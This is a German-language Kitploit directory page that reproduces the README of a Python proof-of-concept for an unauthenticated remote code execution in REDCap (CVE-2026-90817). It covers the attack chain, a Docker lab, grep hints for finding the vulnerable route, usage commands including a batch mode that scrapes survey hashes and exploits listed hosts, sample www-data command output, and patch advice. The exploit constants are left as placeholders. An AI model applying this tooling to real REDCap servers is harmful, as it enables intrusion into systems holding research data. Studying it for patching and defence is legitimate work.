Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-90817 — Python-PoC für CVE-2026-90817, eine unauthentifizierte REDCap-RCE über Survey-Passthrough-Routing und Dateipfad-Injektion, mit einem Docker-Lab und durch Allowlist geschützten Zielen. | Kitploit
Tools/GitHubGitHub/exdev994/cve-2026-90817
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRed TeamingRemote-Access-ToolPayload-EntwicklungLabs & Praxis
GitHubexdev994/cve-2026-90817

CVE-2026-90817

Python-PoC für CVE-2026-90817, eine unauthentifizierte REDCap-RCE über Survey-Passthrough-Routing und Dateipfad-Injektion, mit einem Docker-Lab und durch Allowlist geschützten Zielen.

Repository anzeigen
vor 7h 50mNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-90817 — REDCap Unauthenticated RCE PoC (Nur zur autorisierten Verwendung)

NUR ZUR AUTORISIERTEN VERWENDUNG. Sie sind für die rechtliche Autorisierung jedes Ziels verantwortlich. Die unbefugte Verwendung gegen REDCap-Instanzen Dritter ist illegal.

Zusammenfassung der Schwachstelle

FeldWert
CVECVE-2026-90817
ProduktVanderbilt University REDCap
CVSS9.8 Kritisch
AuthUnauthentifiziert (erfordert gültigen öffentlichen Survey-Hash)
BetroffenREDCap 13.3.0 und höher
Behoben16.0.49 LTS, 17.3.10 LTS, 17.4.4 Standard Release
CWECWE-73 (External Control of File Name or Path), CWE-94 (Code Injection)

Angriffskette:

  1. Einen gültigen öffentlichen Survey-Hash von einer REDCap-Instanz beschaffen.
  2. HTTP-Anfragen manipulieren, um über das Survey-Passthrough-Routing eine unbeabsichtigte Controller-Route zu erreichen.
  3. Einen präparierten Dateipfad-/Stream-Parameter während der Data-Import-Verarbeitung übergeben.
  4. Remote Code Execution auf dem REDCap-Server erreichen.

Projektstruktur

root@kitploit:~
CVE-2026-90817/
├── poc_cve_2026_90817.py   # PoC (Einzelziel, durch Allowlist geschützt)
├── docker-compose.yml       # MySQL + PHP-Apache Lab-Stack
├── redcap-init/
│   ├── database.php         # REDCap DB-Konfiguration für das Lab
│   └── php.ini              # PHP-Einstellungen für das Lab
├── redcap-src/              # <-- REDCap-Quellcode hier entpacken (von Ihnen bereitzustellen)
├── targets.txt              # Autorisierte Ziele: ein Host pro Zeile
├── payload.txt              # Beispieldatei für den Upload-Modus
├── requirements.txt         # Python-Abhängigkeiten
└── poc_results.txt          # Wird nach dem PoC-Lauf generiert

Voraussetzungen

  • Docker und Docker Compose
  • Python 3.9+
  • REDCap-Quellcode-Zip (verwundbare Version, z. B. 14.x oder 15.x) vom Vanderbilt REDCap consortium

REDCap ist lizenzierte Software. Sie müssen sie über offizielle Kanäle für Ihr eigenes Lab beziehen.

Lab-Einrichtung

1. REDCap-Quellcode entpacken

root@kitploit:~
mkdir -p redcap-src
# Extract your redcap.zip contents into redcap-src/
# The directory should contain index.php, redcap_vX.X.X/, etc.

2. Lab-Umgebung starten

root@kitploit:~
docker compose up -d

Warten Sie, bis der MySQL-Healthcheck erfolgreich ist, und öffnen Sie dann:

root@kitploit:~
http://localhost:8080

Schließen Sie den REDCap-Installationsassistenten mit diesen Datenbankeinstellungen ab (vorkonfiguriert in redcap-init/database.php):

EinstellungWert
Hostdb
Databaseredcap
Userredcap
Passwordredcap123

3. Eine öffentliche Umfrage erstellen

  1. Melden Sie sich bei REDCap als Admin an.
  2. Erstellen Sie ein neues Projekt.
  3. Aktivieren Sie "Use surveys in this project".
  4. Öffnen Sie den öffentlichen Umfragelink und kopieren Sie den Hash aus der URL (Parameter s=).

Beispiel-Umfrage-URL:

root@kitploit:~
http://localhost:8080/surveys/?s=ABC123XYZ

Survey-Hash: ABC123XYZ

Reverse Engineering (Platzhalter ausfüllen)

Die öffentliche Advisory gibt die genaue Controller-Route oder den Parameternamen nicht preis. Führen Sie nach der Einrichtung Ihres Labs RE auf redcap-src/ durch und füllen Sie die TODO-Konstanten in poc_cve_2026_90817.py aus:

root@kitploit:~
VULNERABLE_ROUTE = "TODO_CONTROLLER_ROUTE"   # controller route via survey passthrough
FILE_PATH_PARAM = "TODO_FILE_PATH_PARAM"     # file-path/stream parameter name
WEBROOT_PATH = "/var/www/html/redcap/"       # webroot inside container
UPLOADER_NAME = "x.php"                      # PHP uploader filename

RE-Hinweise

Suchen Sie nach Survey-Passthrough-Routing:

root@kitploit:~
grep -rn "passthrough\|survey.*route\|Routes::" redcap-src/ --include="*.php" | head -50
grep -rn "Controller" redcap-src/ --include="*.php" | grep -i "import\|survey" | head -50

Suchen Sie nach der Dateipfad-/Stream-Verarbeitung beim Data Import:

root@kitploit:~
grep -rn "file_path\|file-path\|stream\|DataImport\|data_import" redcap-src/ --include="*.php" | head -50
grep -rn "fopen\|file_get_contents\|include\|require" redcap-src/ --include="*.php" | grep -i "import" | head -50

Setzen Sie STAGE1_SUCCESS_MARKER auf eine Zeichenkette, die in einer erfolgreichen Stage-1-Antwort vorkommt (optional, aber empfohlen).

Python-Abhängigkeiten installieren

root@kitploit:~
pip install -r requirements.txt

PoC ausführen

Das Skript verweigert Ziele, die weder Lab-Hosts sind (localhost, 127.0.0.1, ::1, *.local, *.test, *.localhost) noch in targets.txt aufgeführt sind.

Survey-Hash

CVE-2026-90817 ist unauthentifiziert — keine Anmeldung erforderlich. Die einzige Voraussetzung ist ein gültiger öffentlicher Survey-Hash (aus der Survey-URL ?s=HASH).

Das Tool kann den Survey-Hash automatisch ermitteln, indem es öffentliche Seiten des Ziels scrapt (Best-Effort). Es prüft gängige REDCap-Endpunkte (/, /redcap/, /index.php, /surveys/) auf /surveys/?s=HASH-Links. Dies funktioniert nur, wenn das Ziel öffentlich Umfragelinks preisgibt (Fehlkonfiguration). Bei ordnungsgemäß konfigurierten REDCap-Instanzen geben Sie den Hash manuell über --hash an.

  • Einzelziel-Modus: --hash ist optional (automatische Ermittlung, falls weggelassen)
  • Batch-Modus: automatische Ermittlung pro Ziel; Ziele, die keine Umfragelinks preisgeben, werden übersprungen

Autorisierte Ziele (Nicht-Lab)

Für Nicht-Lab-Ziele erstellen Sie targets.txt mit einem Host pro Zeile (FQDN oder IP). Sie sind für die rechtliche Autorisierung jedes aufgeführten Hosts verantwortlich.

root@kitploit:~
# targets.txt
redcap.client.example.com
10.0.0.5
192.168.1.100

Beispiele

Lab-Ziel mit explizitem Hash:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --hash ABC123XYZ \
  --mode both \
  --out poc_results.txt

Lab-Ziel mit automatisch ermitteltem Hash:

root@kitploit:~
python poc_cve_2026_90817.py \
  --target http://localhost:8080 \
  --mode both \
  --out poc_results.txt

Batch-Modus (über alle Hosts in targets.txt iterieren)

Fügen Sie --batch hinzu, um jeden in targets.txt aufgeführten Host automatisch zu exploitieren. Das Tool ermittelt den Survey-Hash pro Ziel automatisch durch Scraping öffentlicher Seiten. Das Tool gibt alle Ziele aus und fragt vor dem Start nach Bestätigung (verwenden Sie --yes, um die Eingabeaufforderung für Skripting zu überspringen).

root@kitploit:~
python poc_cve_2026_90817.py \
  --batch \
  --mode both \
  --out poc_results.txt

Der Port wird von --target übernommen (Standard 8080). Um einen anderen Port zu verwenden, setzen Sie --target http://placeholder:443/ vor --batch.

Das Ergebnis jedes Ziels wird an die Ausgabedatei angehängt. Am Ende wird eine Zusammenfassung ausgegeben: N success, M failed, T total.

Argumente

ArgumentStandardBeschreibung
--targethttp://localhost:8080Basis-URL des Ziels
--hash(optional)Öffentlicher Survey-Hash. Falls weggelassen, automatische Ermittlung durch Scraping öffentlicher Seiten (Best-Effort).
--allowlisttargets.txtZieldatei, ein Host pro Zeile
--batchausÜber alle Hosts in der Zieldatei iterieren und jeden exploitieren
--yesausDie Batch-Bestätigungsaufforderung überspringen
--modebothid, upload oder both
--outpoc_results.txtErgebnis-Logdatei
--timeout30HTTP-Timeout (Sekunden)
--upload-localpayload.txtLokale Datei zum Hochladen
--upload-remoteuploaded_payload.txtRemote-Dateiname unter dem Webroot
--skip-placeholder-checkausTrockenlauf des HTTP-Flows ohne ausgefüllte TODO-Konstanten

Hinweis: Die automatische Ermittlung funktioniert nur bei Zielen, die öffentlich Umfragelinks preisgeben. Bei den meisten REDCap-Instanzen geben Sie --hash manuell an.

Erwartete Ausgabe

Bei Erfolg zeigt stdout:

root@kitploit:~
[0xNuts] CVE-2026-90817 PoC -- AUTHORIZED USE ONLY
[0xNuts] You are responsible for legal authorization of every target.
[0xNuts] Using survey hash: ABC123XYZ
[0xNuts] Stage 1: route manipulation -> ...
[0xNuts] Stage 2: file-path injection -> ...
[0xNuts] id output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
[0xNuts] uploaded to /var/www/html/redcap/uploaded_payload.txt
[0xNuts] Result logged to poc_results.txt

Ergebnisse werden an poc_results.txt angehängt:

root@kitploit:~
[2026-09-21T03:20:00Z]
target=http://localhost:8080/
survey_hash=ABC123XYZ
status=success
id_output=uid=33(www-data) gid=33(www-data) groups=33(www-data)
uploaded_files=/var/www/html/redcap/uploaded_payload.txt
notes=mode=both
------------------------------------------------------------

Gegenmaßnahmen

Aktualisieren Sie auf REDCap 16.0.49 LTS, 17.3.10 LTS oder 17.4.4 Standard Release (je nach Anwendbarkeit).

Zusätzliche Härtung:

  • Beschränken Sie die öffentliche Umfrageexposition, wo sie nicht erforderlich ist.
  • Überwachen Sie HTTP-Anfragen, die auf Survey-Routen und Data-Import-Endpunkte abzielen.
  • Überprüfen Sie die serverseitige Validierung von Dateipfad-/Stream-Parametern in Import-Handlern.

Referenzen

  • CVE-2026-90817 (CVE.org)
  • Securifera Advisories
  • Finder: Ryan Wincey (@rwincey, Securifera)
Tool herunterladen